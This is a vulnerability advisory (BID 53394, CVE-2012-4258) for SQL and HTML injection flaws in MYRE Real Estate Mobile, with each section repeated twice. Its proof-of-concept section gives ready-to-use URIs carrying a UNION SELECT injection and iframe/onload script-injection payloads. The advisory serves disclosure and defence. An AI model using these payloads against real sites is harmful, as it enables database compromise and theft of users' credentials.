MYRE Real Estate Mobile Multiple SQL Injection and HTML Injection Vulnerabilities
BID:53394
Info
MYRE Real Estate Mobile Multiple SQL Injection and HTML Injection Vulnerabilities
| Bugtraq ID: | 53394 |
| Class: | Input Validation Error |
| CVE: |
CVE-2012-4258 |
| Remote: | Yes |
| Local: | No |
| Published: | May 04 2012 12:00AM |
| Updated: | Aug 16 2012 01:20PM |
| Credit: | Ibrahim M. El-Sayed of Vulnerability Laboratory |
| Vulnerable: |
MYRE MYRE Real Estate Mobile 0 |
| Not Vulnerable: | |
Discussion
MYRE Real Estate Mobile Multiple SQL Injection and HTML Injection Vulnerabilities
MYRE Real Estate Mobile is prone to multiple SQL-injection and multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
Exploiting these issues may allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, execute HTML and script code in the context of the affected site, steal cookie-based authentication credentials, or control how the site is rendered to the user; other attacks are also possible.
MYRE Real Estate Mobile is prone to multiple SQL-injection and multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
Exploiting these issues may allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, execute HTML and script code in the context of the affected site, steal cookie-based authentication credentials, or control how the site is rendered to the user; other attacks are also possible.
Exploit / POC
MYRE Real Estate Mobile Multiple SQL Injection and HTML Injection Vulnerabilities
Attackers can exploit these issues with a browser.
The following example URIs are available:
http://www.example.com/realestate/1_mobile/listings.php?link_idd=-13+UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,
34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51--%20
http://www.example.com/realestate/1_mobile/agentprofile.php?userid=16+union+select[SQL-INJECTION!]
http://www.example.com/realestate/1_mobile/search.php?cat_id1=1&city1=fu+&price2=%3E%22%3Ciframe+src
%3Dwww.vulnerability-lab.com+onload%3Dalert%28%22VL%22%29+%3C&price1=%3E%22%3Ciframe+src%3Dwww.vulnerability-lab.com+
onload%3Dalert%28%22VL%22%29&bedrooms1=1%3E%22%3Ciframe+src%3Dwww.google.com+onload%3Dalert%28%22VL%22%29+
%3C&price1=%3E%22%3Ciframe+src%3Dwww.vulnerability-lab.com+onload%3Dalert%28%22VL%22%29&bathrooms1=0.5&order=link_id&
sort=DESC&look=1&nolinks1=202-
Attackers can exploit these issues with a browser.
The following example URIs are available:
http://www.example.com/realestate/1_mobile/listings.php?link_idd=-13+UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,
34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51--%20
http://www.example.com/realestate/1_mobile/agentprofile.php?userid=16+union+select[SQL-INJECTION!]
http://www.example.com/realestate/1_mobile/search.php?cat_id1=1&city1=fu+&price2=%3E%22%3Ciframe+src
%3Dwww.vulnerability-lab.com+onload%3Dalert%28%22VL%22%29+%3C&price1=%3E%22%3Ciframe+src%3Dwww.vulnerability-lab.com+
onload%3Dalert%28%22VL%22%29&bedrooms1=1%3E%22%3Ciframe+src%3Dwww.google.com+onload%3Dalert%28%22VL%22%29+
%3C&price1=%3E%22%3Ciframe+src%3Dwww.vulnerability-lab.com+onload%3Dalert%28%22VL%22%29&bathrooms1=0.5&order=link_id&
sort=DESC&look=1&nolinks1=202-
Solution / Fix
MYRE Real Estate Mobile Multiple SQL Injection and HTML Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].